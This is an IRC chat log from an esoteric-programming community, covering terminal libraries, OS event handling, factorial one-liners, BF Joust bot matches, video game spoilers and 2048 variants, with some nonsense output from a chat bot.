03:10:41 <zzo38> (These days, even whoever make the iNES format files sometimes never end up making a cartridge.)
03:10:47 <myname> Sgeo: there is a js version
03:10:52 <myname> Sgeo: also an android app
03:10:54 <Sgeo> JS version sucks
03:10:59 <zzo38> Sgeo: There is HTML+JavaScript version too, and now I made DOS version too.
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03:12:03 <myname> i hardly became 2 or 3 people playing robozzle
03:12:38 <myname> and robozzle is awesome
03:12:50 <zzo38> Sgeo: I don't know, what's wrong with JS version either
03:13:05 <zzo38> (Although, I think DOS version is more better)
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03:16:24 <Sgeo> Let's see if I still suck at Fitznik
03:18:58 <Sgeo> http://www.screamingduck.com/Fitznik.php
03:20:16 <myname> is this something like chroma?
03:21:20 <myname> okay, nevermind, i just don't get the pictures
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03:24:21 <myname> http://www.level7.org.uk/chroma/
03:24:49 <myname> also: there is a second ui with ncurses
03:25:20 <Sgeo> I thought you meant this although it makes no sense http://store.steampowered.com/app/241850/
03:25:52 <ais523> I wrote a blog post on what's wrong with curses and variants thereof
03:25:59 <Sgeo> Fitznik apparently freezes when minimized too long :(
03:26:09 <ais523> (the Windows version of pdcurses is less bad in this respect, incidentally, due to not pretending to be portable)
03:27:46 <myname> ais523: i jumped over to termbox
03:28:02 <myname> but i do think there aren't many people knowing that
03:28:06 <ais523> I haven't heard of termbox; my own solution was to write libuncursed
03:28:19 <ais523> which has various not-found-elsewhere-and-unlikely-to-be features I needed
03:29:01 <myname> https://github.com/nsf/termbox pretty minimal
03:29:24 <myname> you may have to write own helper functions, but i am actually okay with it
03:29:43 <myname> also, making bindings for other language is piece of cake
03:30:04 <myname> unlike bcurses with its 100s of functions in up to 4 different ways
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03:30:30 <ais523> ah, one of my requirements was that it had to be easy to port existing curses code to
03:30:37 <ais523> because I had existing curses code I needed to port to it
03:32:28 <ais523> btw, what are this channel's opinion on Facebook's new language which is basically statically typed PHP?
03:32:37 <myname> oh my god, there is an android port of enigma (that oxyd like thingie)
03:33:11 <ais523> that's apparently pretty old, unless it was developed in the last few days
03:33:16 <ais523> there was discussion about it recently
03:33:30 <ais523> also, I have level design credits for Enigma now, I feel somewhat proud of that somehow
03:34:04 <ais523> "Our solution was to architect the type checker as a local server that watches the filesystem. The server keeps all information about the source code in memory and automatically updates itself when a file changes on disk."
03:34:04 <myname> well. i do like the idea of replacing php with something
03:34:13 <ais523> it's like flymake, but backwards
03:34:19 <myname> but 1) i just really don't like facebook
03:34:30 <myname> 2) don't replace a language with a fork of itself
03:34:52 <pikhq> curses is such a poor library. Especially the bit where it pretends there are non-VT100 terminals on Unix.
03:34:58 <ais523> also they wrote the compiler in ocaml, which is great ammo to use against first-year students
03:35:18 <pikhq> ais523: Yeah, but all the xterm-alikes are essentially extended VT100s.
03:35:22 <ais523> the entire principle on which curses is based fails, because everything claims to be xterm
03:35:26 <ais523> despite not all acting identically
03:35:55 <pikhq> So you might as well just emit codes that should work on pretty much anything vaguely VT100-alike.
03:35:59 <ais523> gah, facebook's blog rewrites outgoing links so it can check how many people click on them?
03:36:36 <pikhq> Which doesn't get you Windows support, but nothing will without actually calling Windows' console functions.
03:36:47 <ais523> also they have sugar for Maybe, which is unusual
03:37:03 <ais523> pikhq: indeed, also you need to know which ones to call
03:37:34 <myname> who cares about windows
03:37:44 <pikhq> Unfortunately, a lot of people use it.
03:38:26 <ais523> I have a faketerm backend that should be reasonably portable
03:38:32 <ais523> once I fix the way it does select() on Windows
03:38:46 <myname> well, i don't have any mercy for people that like terminal tools but have no unixoid system
03:38:50 <ais523> fun fact: Windows has an API call select that does the same thing as the POSIX version, and all the arguments have identical names
03:38:53 <ais523> but some of them do something different
03:39:01 <ais523> and I didn't notice the first time
03:39:18 <pikhq> I though Windows select only worked on sockets though?
03:39:45 <ais523> another fun fact: Windows has a generic WaitForMultipleObjects function that works like POSIX select, waiting for arbitrary things
03:39:51 <ais523> /except/ you can't include sockets
03:40:00 <ais523> there's a separate function, which I forget the name of offhand
03:40:05 <ais523> if you want to be able to use both sockets and other things
03:40:05 <pikhq> Ouch. That just hurts.
03:40:13 <pikhq> It's like as though they want porting to be hard.
03:40:43 <ais523> it's like the socket-implementing people at Microsoft couldn't persuade the WaitForMultipleObjects team to add socket support
03:42:40 <kmc> starting to think the important part of "everything is a file" is "everything can be handled by one event loop"
03:43:12 <pikhq> Pretty much. Everything is a file descriptor.
03:43:25 <pikhq> Sadly, signals aren't, though you can force it.
03:43:30 <pikhq> Good ol' self-pipe.
03:44:02 <kmc> yeah, all the parts of UNIX that aren't file descriptors are a pain
03:44:07 <Bike> obviously have a second input fd that's all the signals, in text format
03:44:20 <shachaf> well, linux has signalfd()
03:44:24 <kmc> signals especially, but also processes
03:44:37 <shachaf> and timerfd and eventfd and various other fds
03:44:43 <pikhq> Yeah, job control is *amazingly* fiddly.
03:44:44 <Bike> shachaf: wow that's literally what i was thinking, nice
03:44:49 <kmc> ugh posix job control
03:45:02 <shachaf> various things are still not available as fds, though
03:46:34 <kmc> an fd is an unforgeable reference to a kernel resource, and will always refer to the same resource (unlike, say, a filename or a pid)
03:47:40 <kmc> what would it look like to design an OS explicitly for event-based programming
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03:59:51 <zzo38> I don't know how it would look like
04:02:57 <Sgeo> foo_dumb sounds like shit :(
04:05:11 <Jafet> kmc: message passing?
04:05:29 <Jafet> Or do you want fancy shit like the kernel calling your event handlers
04:06:21 <Sgeo> On the other hand, Pentagonal Dreams + Gapless repeat = good
04:07:34 <newsham> the "x-kernel" is kind of event based
04:07:51 <newsham> also arent most message passing microkernels kind of event-based?
04:08:49 <Jafet> No, microkernel threads usually wait on one channel at a time
04:11:09 <newsham> ahh, you want kernel->user activations that do rely on having a pool of threads waiting to receive something, i guess?
04:12:38 <Jafet> Well, you could be crazy and make kernel upcalls spawn new threads
04:13:13 <Jafet> That's not "event based programming" though
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04:23:16 <Jafet> If you only write code at parties, does that make you an event based programmer
04:24:04 <lexande> if you only write code at parties and also never go to parties, then you are presumably not a programmer, event-based or otherwise
04:24:05 <Sgeo> I bought a shirt http://www.zazzle.com/its_handy_t_shirt-235558875629678746
04:26:22 <zzo38> I have actually read of some system where every subroutine call spawns a new thread.
04:27:09 <oerjan> is the lower left one Ada?
04:27:32 <oerjan> or Algol, something like that but not Pascal
04:28:20 <Sgeo> I think it's some BASIC
04:28:24 <Sgeo> First thought was VB
04:28:45 <Sgeo> Assigning to the name of the function
04:29:05 <zzo38> Yes I think it is BASIC
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04:29:28 <zzo38> It looks like it to me.
04:32:00 <zzo38> There is room they could easily put more programming languages too, such as Haskell, SQL, shell scripts, and others.
04:32:58 <Sgeo> Haskell is on there
04:33:18 <Sgeo> That's how I found the shirt in the first place, searching for Haskell
04:33:25 <Sgeo> After having given up on finding a polyglot shirt
04:33:26 <zzo38> I didn't notice that at first
04:33:37 <zzo38> It is written small
04:33:57 <zzo38> And perhaps they could add Pascal too, even.
04:37:05 <oerjan> trouble is, you're going to need magnifiers to read the t-shirt :P
04:37:41 <zzo38> Picture looks like there is room to add some stuff, if the text is move up a bit.
04:38:38 <Sgeo> You can actually change the shirt
04:38:42 <zzo38> Anyways the code won't be very long in many cases
04:42:08 <zzo38> prooftechnique: OK, show me how then
04:42:11 <zzo38> : FACTORIAL ?DUP IF DUP 1- RECURSE * ELSE 1 THEN ;
04:42:41 <zzo38> WITH X(X,Y) AS (SELECT 1,1 UNION ALL SELECT X+1,Y*(X+1) FROM X LIMIT ?1) SELECT Y FROM X ORDER BY X DESC LIMIT 1;
04:43:25 <zzo38> prooftechnique: I don't know much about Prolog.
04:44:14 <prooftechnique> Though I guess that's fine, since these aren't all semantically equivalent, so the extra comparison isn't that iffy
04:44:39 <Jafet> Shouldn't the C one be much longer
04:45:09 <zzo38> Jafet: The one given looks OK though
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04:46:07 <zzo38> This one in SQL is slightly wrong because it fails to give any result at all if you input zero.
04:46:52 <prooftechnique> i.e., C => factorial(-1) = 1, Prolog => fak(-1, R) = error, Haskell => fac (-1) = -inf
04:48:08 <zzo38> Factorial of negative integers is not defined mathematically anyways.
04:49:02 <Bike> why bother with consistency there
04:50:55 <zzo38> Factorial of negative number is possible, as long as they aren't integers.
04:57:14 <Taneb> zzo38, although not in the way factorials are generally calculated
04:58:39 <Jafet> You could define (-n)! as (-1)^n/n!. Who needs analytic continuations anyway.
05:11:36 <lexande> Jafet: but don't you want 0! = 0*(-1)! ?
05:13:28 <lexande> obviously to get (-1)! you divide 0! by 0
05:13:34 <Jafet> We can just skip zero and pretend it never happened
05:13:57 <lexande> well it worked for the julian calendar
05:14:17 <lexande> uh, i think you mean \mathbb{Z}*
05:14:30 <lexande> since you disavowed analysis
05:14:48 <Jafet> Ok, but we need Q for the negative continuation
05:16:32 <ais523> hmm, http://www.eternal-september.org/ doesn't look too healthy
05:16:33 <quintopia> okay people what game do i play next
05:16:36 <lexande> what's a little ill-definedness between friends
05:17:11 <lexande> what game have you been playing so far?
05:17:12 <ais523> quintopia: does it have to be a game that exists?
05:17:28 <ais523> if not, I recommend Little Arrow Theory, which will be at least mildly interesting if I ever get around to writing it
05:17:45 <Jafet> Is it a feathered arrow
05:17:51 <quintopia> it has to be one of the following: braid, bastion, amnesia, limbo, lone survivor, super meat boy
05:18:14 <ais523> oh, hmm… braid and bastion are both pretty good
05:18:29 <ais523> I've 100%ed both, even though 100%ing braid is stupid
05:18:35 <Sgeo> I liked Braid. Haven't played Bastion
05:18:39 <ais523> it does have a bunch of pretentiousness but it's mostly ignorable
05:18:46 <shachaf> i could never convince myself to get more than maybe half an hour into bastion
05:18:53 <ais523> Bastion is also moderately pretentious, I guess
05:18:55 <quintopia> why is 100%ing braid stupid? i like 100% things
05:19:00 <Taneb> Couldn't get in the hang of Braid
05:19:02 <shachaf> it seems to become boring quickly
05:19:05 <Sgeo> quintopia: time
05:19:11 <lexande> afterward playing braid i dreamt that i was at the airport and missed my flight, and pressed shift to go back and catch it. and the TSA helpfully marked my boarding pass with sparkly green ink so i wouldn't have to have it checked again.
05:19:11 <ais523> quintopia: there's one part where you have to do noting for two hours, also alt-tabbing doesn't work
05:19:14 <shachaf> quintopia: there's a thing where you need to wait two hours to get it
05:19:36 <quintopia> ais523: can you walk away from the game and set an alarm for yourself?
05:19:37 <shachaf> and also parts of it are so well-hidden that i don't think you have much of a hope of finding them without looking them up
05:19:41 <ais523> lexande: my favourite bit of Braid: there's a speedrun mode, with a timer
05:19:44 <ais523> quintopia: sure, that works
05:19:51 <quintopia> shachaf: eh i don't mind cheating to 100% things :)
05:19:59 <ais523> lexande: and I thought that, because it times everything you do, shouldn't it be in green?
05:20:09 <ais523> and I looked at it really carefully, and it does indeed have faint green sparkles on it
05:20:40 <Sgeo> Play Thousand Dollar Soul
05:20:47 <quintopia> it took me around 30 hours to 100% psychonauts
05:21:02 <quintopia> around maybe thrice that to 100% super mario sunshine
05:21:09 <lexande> 100%ing braid seems dubious yeah
05:21:34 <shachaf> i do like some of the bonus star puzzles
05:21:41 <lexande> though i just 4096'd 2048, which is probably more dubious
05:21:47 <ais523> 100%ing Braid is not meant to be possible without spoilers; in fact, you're not even meant to discover that higher percentages exist without spoilers
05:21:51 <shachaf> but there's no indication that they exist and even knowing that they exist it takes a long time to time everything just right to get them
05:22:12 <ais523> probably the minimum level of spoiling that makes it possible is "100% is a thing that can be done"
05:22:33 <ais523> the minimum level of spoiling that makes it reasonable (but still very difficult) is a list of the levels on which you have to perform different actions to get percentage
05:22:46 <shachaf> oh, and you have to perform a particular action early on
05:22:53 <Sgeo> The links to the music is broken :(
05:23:02 <quintopia> ais523: i want the maximum level of spoilage :P
05:23:04 <shachaf> or, at least, there's an action you need to take to finish the game that makes it impossible to 100% the game
05:23:15 <ais523> quintopia: I rarely spoil people in public, because other people might be caught in the blast
05:23:28 <quintopia> ais523: i figure googling it would work :P
05:23:33 <ais523> also I can hardly remember at this point, go look up GameFAQs :-)
05:23:40 <shachaf> if you want maximum spoilers you can look it up easily enough
05:23:56 <shachaf> talking to people is good for situation-aware spoilers
05:23:59 <ais523> the level of spoiling I recommend for 100%, btw, is "here are the locations you have to reach, figure out how", apart from a couple of them, screw those
05:24:42 <shachaf> maybe that's too much spoilers
05:24:52 <shachaf> ais523's level of spoilers would have been nice, though.
05:25:07 <ais523> nah, the rabbit one is actually clever
05:25:16 <Sgeo> ais523: does #nethack count as in public for NetHack?
05:25:24 <ais523> Sgeo: it's a spoiled channel
05:25:27 <ais523> so I spoil in public there
05:25:53 <quintopia> for psychonauts, i wished there was a "list of things you can do to trigger reactions/cutscenes, when and where you need to be"
05:25:55 <Sgeo> Where do people go if they don't want spoilers but the game isn't working for them?
05:26:00 <Sgeo> Technical but not gameplay assistance?
05:26:29 <ais523> or just asking the query quickly and leaving
05:26:38 <ais523> NetHack spoilers often aren't so useful out of context anyway
05:26:46 * shachaf tries to remember the rest of the secret braid locations
05:27:11 <ais523> hmm, can I create hints generic enough that they don't give away anything unless you already know where they are?
05:27:22 <quintopia> because as difficult as 100%ing psychonauts is, it's trivial compared to "trigger all reactions/cut scenes that can be triggered without a cheat code"
05:27:41 <ais523> shachaf: we've mentioned three so far, and you almost certainly know where number 8 is
05:29:54 <kmc> nice, emscripten has source maps http://people.mozilla.org/~lwagner/gdc-pres/gdc-2014.html#/27
05:30:09 <kmc> so you can view and debug C or C++ code in the browser console
05:30:31 <shachaf> OK, I guess that had several mostly unguessable bits.
05:31:05 <ais523> there is nothing unguessable about number 8, it is by far the clearest one about what you have to do
05:31:15 <ais523> now, the fun part is: reach the star location /without/ unlocking it
05:31:24 <ais523> speedrunners do that all the time because it's faster than the regular way
05:37:04 <zzo38> Tell me if there are any commands you think I have missed in the Digi-RGB-Plus specification?
05:37:22 <ais523> zzo38: would it benefit from a COME FROM command?
05:37:27 <ais523> actually, probably it wouldn't
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05:37:45 <zzo38> ais523: It isn't a programming language, so a COME FROM command wouldn't do anything.
05:38:10 <quintopia> zzo38: can you get the current time
05:39:41 <zzo38> quintopia: You probably could *set* the current time using the "LOAD CONFIGURATION" command, and could display the time using the OSD command, although there is no way to get the current time otherwise, and that isn't what it is designed to do anyways, so it isn't necessary.
05:40:01 <Jafet> Anyway, factorial in C: int*f(int n, int*d){ int s = n*log(n+1)+1, *a = calloc(s,sizeof*a), i,c; if(a){ *a=*d=1; for(;n>1;--n){ c=0; for(i=0;i<*d;++i) c+=a[i]*n, a[i]=c%10, c/=10; while(c) a[(*d)++]=c%10, c/=10; }} return a; }
05:46:35 <Jafet> Could actually be shorter: for(i=0;i<*d||(c&&++*d);++i) c+=a[i]*n, a[i]=c%10, c/=10;
05:49:30 <zzo38> Digi-RGB-Plus control signal is a 1200,8,N,1 serial signal in the opposite direction from all of the other signals (video and audio). The codes go in four groups: Text control codes, Printable characters (in EIA-608 encoding), Remote control buttons, System control codes.
05:52:59 <zzo38> (It isn't actually EIA-608; it is a subset which uses only single-byte encoding.)
05:57:26 <zzo38> I have sixteen codes in "Remote control buttons" which are not currently assigned; maybe you know what to assign there, and/or if any ones that are already assigned are redundant?
05:58:23 <zzo38> (Four of them are assigned as "EXTRA FUNCTION A" to "EXTRA FUNCTION D".)
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06:03:17 <shachaf> now i've watched a braid speedrun
06:04:14 <ion> URL please
06:04:41 <shachaf> http://www.youtube.com/watch?v=OzvFAZ6_G3w
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06:07:23 <Sgeo> Braid 100% speedrun?
06:07:39 <ais523> Sgeo: there have been people seriously talking about 75%
06:08:04 <shachaf> Being everything except the 2-hour star and the last star?
06:09:15 <ais523> actually, there are only two really bad stars
06:09:26 <ais523> the 2-hour star, and the one you can permanently lock yourself out of
06:09:36 <ais523> not just for the permanent lock, but because the thing you have to actually do is stupid
06:09:43 <shachaf> That one doesn't seem that bad time-wise.
06:09:52 <shachaf> Oh, you mean for discoverability? Sure.
06:09:58 <ais523> not just discoverability
06:10:03 <ais523> even if you know what to do, it still sucks
06:10:14 <ais523> and you normally need multiple tries despite the task not being interesting once you know what it is
06:11:53 <shachaf> That's true for many of the puzzles.
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06:59:11 <Sgeo> Fun fact: The Internet Archive seems to have archived a bunch of Dexterity Software demo installers
06:59:38 <Sgeo> And yes, this fact is, in fact, fun.
07:00:14 <Taneb> Fun fact: I haven't slept
07:00:39 <Taneb> Actually, no, I slept from 10 to 1:30
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07:08:16 <Sgeo> http://web.archive.org/web/*/http://dexterity.fileburst.com/*
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08:31:39 <zzo38> Why does ternary raster operations in Windows use both multiplex and RPN codes? (Windows only uses the multiplex codes; I have confirmed this; WineHQ says the same thing, and I have decided to test this.)
08:33:20 <zzo38> Microsoft calls the multiplex codes the "boolean operation index" and the RPN codes the "operation code" (they are really a kind of RPN codes though, described on WineHQ).
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09:57:42 <zzo38> WineHQ says "If you are implementing the raster operations, then decoding the low 16 bit value may be better than having a huge switch statement that picks a set of operations based on one of the 256 valid high word values." I expect that the switch statement would be faster though, if placed outside of the loop. If you have hardware multiplex support then you don't need that either (although I don't think x86 has it?)
10:07:45 <Jafet> A 256-ary switch sounds great for jump predict/microop cache
10:07:45 <Jafet> What is a hardware multiplex?
10:08:48 <int-e> x86 has an indirect jump, which compilers should use when compiling switch statements over longer consecutive ranges.
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10:09:36 <zzo38> Jafet: Esolang wiki as "Muxcomp" which the hardware multiplex is the only instruction in its instruction sets, so, it is something like that.
10:11:57 <int-e> oh. you really want a binary table lookup. hmm.
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12:17:11 <lambdabot> Local time for Taneb is Sun Mar 23 12:17:11
12:17:18 <boily> yup. definitely morning.
12:18:40 <Jafet> Morning is whenever you want it to be.
12:19:10 <myname> also, "moin moin" can be said like any time you want
12:19:24 <Taneb> boily, I went to bed at 7
12:22:02 <boily> Jafellot. mynamello.
12:22:30 <boily> Taneb: 7, as in 7am?
12:23:23 <Taneb> I started working on a game yesterday evening
12:25:26 <Taneb> I am making a game
12:25:35 <Taneb> You control a zombie horde
12:25:55 <myname> Taneb: i like it so far
12:26:43 <myname> Taneb: will there be a terminal version?
12:26:45 <Taneb> My code is on Github if you want to see, https://github.com/Taneb/zombie-game
12:26:53 <Taneb> myname, probably not for a while I am afraid
12:27:07 <myname> how am i supposed to play it, then
12:27:08 <Taneb> But it is not outside the realms of possibility
12:27:29 <Taneb> By borrowing a not-terminal-only computer from your parents?
12:27:45 <myname> Taneb: could you outline the idea of the game?
12:28:09 <Taneb> You control a horde of zombies who follow the cursor. Use them to defeat the humans!
12:28:17 <Taneb> They are pretty stupid though
12:28:26 <b_jonas> have you ever dreamt of irc channels that don't exist in reality?
12:29:12 <myname> Taneb: it sounds a bit like a reverse robot escape game
12:30:06 <Taneb> myname, I have not played a robot escape game
12:30:10 <Taneb> b_jonas, no, I have not
12:30:53 <Zom-B> 'control a horde'' hmm... Anyone ever heard of Liquid Wars?
12:31:08 <myname> Taneb: you are the player and have to escape robots that pop up, robots always take the shortest path towards you, but if 2 run into each other, they get destroyed
12:31:19 <b_jonas> Taneb: I think I have, but maybe I only dreamt that I dreamt of it, or something
12:34:05 <Taneb> I once had a dream that I had overslept and woke up at 4 PM instead of 8 AM
12:34:32 <Jafet> You're dreaming of my life
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12:39:33 <myname> i should start my game
12:44:32 <password2> mmm , Qt needs a clone class button
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13:27:27 <EgoBot> Score for anubiann00b_anubiann00b: 5.4
13:29:02 <boily> anubiann00b: how dare you score higher than me?
13:29:05 <EgoBot> Score for anubiann00b_noob: 5.7
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13:31:08 <boily> (mildly interesting wikipédia fact: the [French press](http://en.wikipedia.org/wiki/French_press) article doesn't have a French version.)
13:31:52 <EgoBot> Score for anubiann00b_noob: 5.3
13:32:13 <boily> in fact, the name “French press” is a Bodum patent.
13:32:40 <EgoBot> Score for anubiann00b_noob: 6.4
13:32:49 <olsner> really a patent? or e.g. trademark?
13:33:40 <EgoBot> Score for anubiann00b_noob: 5.7
13:34:11 <olsner> apparently the french name for it is often "Bodum"
13:35:23 <EgoBot> Score for int-e_oops: 0.0
13:35:30 <anubiann00b> !bfjoust test >++++++++++++++++++++ >-------------------- >-------------------- >++++++++++++++++++++ >++++++++++++++++++++ >-------------------- >-------------------- >++++++++++++++++++++ >++++ >---- >---- >++++ >++++ >---- >---- >++++ >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>> >------[+]>------[+]>------[+]>------[+] >------[+]>------[+]>-----
13:35:32 <EgoBot> Score for anubiann00b_test: 0.0
13:35:52 <anubiann00b> wait no this code will just run off the right side
13:36:26 <boily> olsner: trademark.
13:36:44 <anubiann00b> !bfjoust test something >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15
13:36:46 <EgoBot> Score for anubiann00b_test: 9.3
13:37:54 <EgoBot> Score for anubiann00b_flagdance: 9.8
13:40:39 <anubiann00b> !bfjoust flagdance [[+-][+-][+-][+-][+-][+-][+-][+-]]
13:40:43 <EgoBot> Score for anubiann00b_flagdance: 12.5
13:41:15 <anubiann00b> !bfjoust [+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-]
13:41:15 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
13:41:52 <anubiann00b> !bfjoust flagdance [+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-]
13:41:55 <EgoBot> Score for anubiann00b_flagdance: 10.1
13:42:17 <EgoBot> Score for anubiann00b_flagdance: 12.7
13:42:39 <int-e> !bfjoust !bfjoust [+-] ([+-])*10000
13:42:43 <EgoBot> Score for int-e__bfjoust: 9.8
13:42:51 <int-e> !bfjoust [+-] ([+-])*10000
13:42:55 <EgoBot> Score for int-e___-_: 9.8
13:43:09 <int-e> http://esolangs.org/wiki/BF_Joust describes the extended syntax
13:43:22 <int-e> (under "Abbreviations")
13:45:10 <anubiann00b> !bfjoust flagdanceTripwire (>+>-)*5(<)*10[[+-]]
13:45:15 <EgoBot> Score for anubiann00b_flagdanceTripwire: 4.0
13:45:45 <EgoBot> Score for anubiann00b_flagdanceTripwire: 4.7
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13:47:45 <int-e> !bfjoust - >*10([-.]>)*5<*15(+-)*10000
13:47:49 <EgoBot> Score for int-e_-: 3.3
13:48:29 <anubiann00b> How exactly does a program that sets a tripwire then trolls the flag do worse than a program that just trolls the flag?
13:48:31 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
13:48:58 <anubiann00b> @password2 you need to inclue the program name
13:49:16 <lambdabot> What module? Try @listmodules for some ideas.
13:49:17 <EgoBot> Score for nortti_foo: 9.4
13:49:19 <EgoBot> Score for anubiann00b_yolo: 9.4
13:49:54 <EgoBot> Score for password2_diit: 6.1
13:50:15 <EgoBot> Score for password2_dito: 6.1
13:51:00 <EgoBot> Score for anubiann00b_imdone: 0.0
13:51:21 <EgoBot> Score for anubiann00b_yolo: 9.4
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13:55:24 <int-e> !bfjoust - (>>+*12>>-*12)*2>([+[.-]]>)*19
13:55:27 <EgoBot> Score for int-e_-: 14.6
13:55:38 <int-e> !bfjoust - (>>+*12>>-*12)*2>([+[.-]]>)*20
13:55:41 <EgoBot> Score for int-e_-: 16.0
13:58:08 <int-e> !bfjoust - (>>+*12>>-*12)*2>([+[.-]]>)*20[+[.-]]<*29(+-)*10000
13:58:10 <EgoBot> Score for int-e_-: 17.6
13:59:58 <boily> holy fungot, that coffee is powerful.
13:59:58 <fungot> boily: no, it's not. it's more complex than that. read the code.) good stuff like " thisfunction2 thislineofcode")) but have to seek. hee. i wan to faster finish the game could
14:00:16 <boily> fungot: more complex than coffee grounds and hot water?
14:00:16 <fungot> boily: that is just a value of type " airbus is a big fan of avril....but this song " there was much greenish-brown pulpy matter
14:00:37 <boily> fungot: uhm. greenish-brown pulpy matter...
14:00:37 <fungot> boily: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube with this jaybad... he is like the punching him? does it involve? doing it the way you would calibrate a normal. pm showed the bq a parking citation. if confronted, you will say you are only here to deliver a message and then i'll put his shit.... w.t.f lol
14:01:18 <fungot> Selected style: lovecraft (H. P. Lovecraft's writings)
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14:24:25 <fungot> b_jonas: but isolated parts of bodies, or fragments and synthetic mockeries of bodies, or fragments and synthetic mockeries of bodies, or fragments and synthetic mockeries of bodies, as might remain from the morbid and unaccountable foetor, i seized the paper and look affrightedly out of the rest, silhouetted against the rising moon.
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14:39:41 <int-e> !bfjoust 0 http://esolangs.org/wiki/BF_Joust
14:39:45 <EgoBot> Score for int-e_0: 0.0
14:40:41 <Jafet> fungot should say that again
14:40:41 <fungot> Jafet: gilman's room was torn out, the fnord who lodged just under gilman talking to mazurewicz one evening. they were
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14:41:43 <int-e> Poor fungot, it's still suffering from (dronf)^-1 poisoning.
14:41:43 <fungot> int-e: some disturbance or malady of genuine gravity, which no doubt formed the basis of the prevailing odd fnord and after six months believed that he could trust his instincts to take him back to fnord
14:43:10 <Jafet> I think fungot can hear you.
14:43:10 <fungot> Jafet: it does credit to the alertness of ammi's mind that he puzzled even at that tense moment over a point which would probably be missing. joe knew about such things. those scaly fnord seem to have been our associate. moreover, it might form a good present link with the scene of unholy worship, so inspector legrasse and his men, it is true that the window he faced was unbroken, but nature has shown herself capable of many fr
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15:19:19 <boily> I won that stupid 2048 game.
15:22:45 <Deewiant> Now do the 3D version! http://joppi.github.io/2048-3D/ Or the 65536 version! http://www.csie.ntu.edu.tw/~b01902112/65536/ Or the Numberwang version! http://louhuang.com/2048-numberwang/
15:23:30 <boily> I tried the numberwang one yesterday. my brain was unhappy.
15:25:55 <Zom-B> what the fuck numberwang, the numbers keep changing
15:26:40 <Taneb> Zom-B, focus on the colours :)
15:27:05 <Zom-B> so its just 2048 with numbers obfuscated?
15:27:21 <Jafet> Well... that's numberwang
15:28:51 <int-e> Deewiant: intuitively, 65536 should be easy, but it'll take 30k moves. OUCH!
15:29:23 <Deewiant> int-e: http://www.csie.ntu.edu.tw/~b01902112/9007199254740992/
15:30:56 <int-e> why stop there? doubles can express numbers up to 2^1022 (or so) exactly.
15:31:42 <int-e> the 3d version looks interesting.
15:31:56 <Deewiant> Well, except the infinite ones
15:32:03 <int-e> Deewiant: actually I can prove that 9007199254740992 can't be won.
15:32:29 <int-e> I can't count to 8 :)
15:32:35 <Deewiant> http://phenomist.wordpress.com/2048-variants/
15:36:24 <elliott> int-e: why stop there? there are bignum libraries for JS.
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15:50:15 <Zom-B> 3D is actually a lot easier than 2D
15:53:54 <Jafet> 2048 in hyperbolic space
15:54:35 <Taneb> Phantom_Hoover, really?
15:55:05 <Phantom_Hoover> i thought it was more random than that but playing it again it's not
15:55:30 <Jafet> 2048 on Riemannian manifolds
15:59:17 <Jafet> 2048 on the Stone-Čech compactification of a point topology
16:00:57 <Bike> 2048 on a plane
16:02:14 <Jafet> Stop being a radical Bike
16:02:21 <Sgeo> .... apparently I got The Scarlet Letter confused with some book about a fever
16:02:33 <Sgeo> Today's SMBC really didn't make sense
16:03:22 <Phantom_Hoover> speaking of things that don't make sense, http://www.beneath-ceaseless-skies.com/stories/sekhmet-hunts-the-dying-gnosis-a-computation/
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16:12:45 <boily> Deewiant: I hate you. I'm up to 8192.
16:15:42 <Deewiant> boily: You might want to digest int-e's comment: "intuitively, 65536 should be easy, but it'll take 30k moves."
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16:21:13 <int-e> is it possible to prevent a 512 tile?
16:22:27 <int-e> http://int-e.eu/~bf3/tmp/8402.png ... wait, it says "puppies eaten"?!
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16:25:57 <int-e> Ah, the autorun mode at https://sztupy.github.io/2048-Hard/ may answer this question. it managed 128+64+32+32+16+16+16+8+8+4+4+4+2+2+2+2 ... impressive.
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16:40:05 <password2> whats the esolang with the least amount of instructions?
16:42:25 <Deewiant> password2: https://en.wikipedia.org/wiki/One_instruction_set_computer
16:45:27 <Taneb> Subtract and jump if negative is a common one
16:47:21 <password2> surpringly not as minamilistic as i thought it would be
16:48:46 <ion> CI – Continues Integration https://www.gitlab.com/products/
16:49:08 <b_jonas> I made a machine with subtract as the only instruction, but it's cheating because it has some memory-mapped magical registers for extra instructions.
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17:00:39 <ion> http://www.wallpapersshop.net/wallpaper/moscow-city-night-winter/ (It seems i live in Moscow now.)
17:01:21 <boily> ion: do people attempt to lick you in moscow too?
17:02:01 <ion> There has been a worrying lack of attempts to lick me recently.
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17:03:37 <boily> ion: you should bring a sign with something to the effect of "Пожалуйста, пожалуйста, лизать Ion." (disclaimer, caveat emptor and all that sort of thing: that went through Google. I am not responsible for damage incurred.)
17:04:56 <password2> mmm , lets see if i can do Fibonacci in bf^
17:05:09 <ion> boily: That sounds like a good idea.
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17:45:26 <ion> http://www.theonion.com/articles/thanks-for-being-so-cool-about-everything,35584/?utm_source=butt&utm_medium=butt&utm_campaign=butt
17:48:22 <tromp__> b_jonas: an increment register instruction coupled with a subtract and jump if zero instruction is turing complete
